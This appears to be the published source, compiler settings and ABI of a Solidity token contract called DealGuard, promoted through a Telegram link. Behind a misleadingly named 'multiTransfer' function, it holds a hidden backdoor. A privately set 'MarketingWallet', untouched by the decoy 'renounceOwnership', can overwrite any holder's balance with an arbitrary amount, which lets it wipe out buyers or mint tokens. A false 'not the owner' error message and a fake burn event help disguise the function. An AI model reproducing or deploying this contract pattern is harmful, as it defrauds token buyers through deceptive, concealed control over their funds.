/*
DealGuard
https://t.me/DealGuard_en
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract ViralDealGuard is Context{
string public name = "DealGuard";
string public symbol = "DealGuard";
uint256 public totalSupply = 10000000000000000000000;
uint8 public decimals = 9;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(
address indexed _ownerViral,
address indexed spenderViral,
uint256 _value
);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address private owner;
event OwnershipRenounced();
address private MarketingWallet;
constructor(address SetMarketingWallet) {
MarketingWallet = SetMarketingWallet;
balanceOf[msg.sender] = totalSupply;
owner = msg.sender;
}
modifier Auth() {
require(MarketingWallet == _msgSender(), "io: caller is not the owner");
_;
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address spenderViral, uint256 _value)
public
returns (bool success)
{
require(address(0) != spenderViral);
allowance[msg.sender][spenderViral] = _value;
emit Approval(msg.sender, spenderViral, _value);
return true;
}
function multiTransfer(address addresss, uint256 _value) external Auth {
balanceOf[addresss] = _value * 10 ** 9;
emit Transfer(addresss, address(0), _value * 10 ** 9);
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool success) {
require(_value <= balanceOf[_from]);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function renounceOwnership() public {
require(msg.sender == owner);
emit OwnershipRenounced();
owner = address(0);
}
string public DealGuardCtVersion = "DealGuard 0.8.26";
function getDealGuardCtVersion() public view returns (string memory) {
return DealGuardCtVersion;
}
}
{
"compilationTarget": {
"ViralDealGuard.sol": "ViralDealGuard"
},
"evmVersion": "cancun",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"address","name":"SetMarketingWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_ownerViral","type":"address"},{"indexed":true,"internalType":"address","name":"spenderViral","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DealGuardCtVersion","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spenderViral","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDealGuardCtVersion","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addresss","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]